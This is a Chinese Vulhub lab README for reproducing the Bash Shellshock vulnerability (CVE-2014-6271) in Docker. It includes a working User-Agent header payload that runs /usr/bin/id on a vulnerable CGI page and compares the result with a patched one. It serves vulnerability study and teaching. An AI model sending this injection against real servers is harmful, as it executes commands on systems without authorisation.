Aaron
63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
24 lines
533 B
Markdown
24 lines
533 B
Markdown
# Bash Shellshock 远程命令注入漏洞（CVE-2014-6271）
|
||
|
||
编译运行：
|
||
|
||
```
|
||
docker compose up -d
|
||
```
|
||
|
||
服务启动后，有两个页面`http://your-ip:8080/victim.cgi`和`http://your-ip:8080/safe.cgi`。其中safe.cgi是最新版bash生成的页面，victim.cgi是bash4.3生成的页面。
|
||
|
||
将payload附在User-Agent中访问victim.cgi：
|
||
|
||
```
|
||
User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id
|
||
```
|
||
|
||
命令成功被执行：
|
||
|
||
|
||
|
||
同样的数据包访问safe.cgi，不受影响：
|
||
|
||
|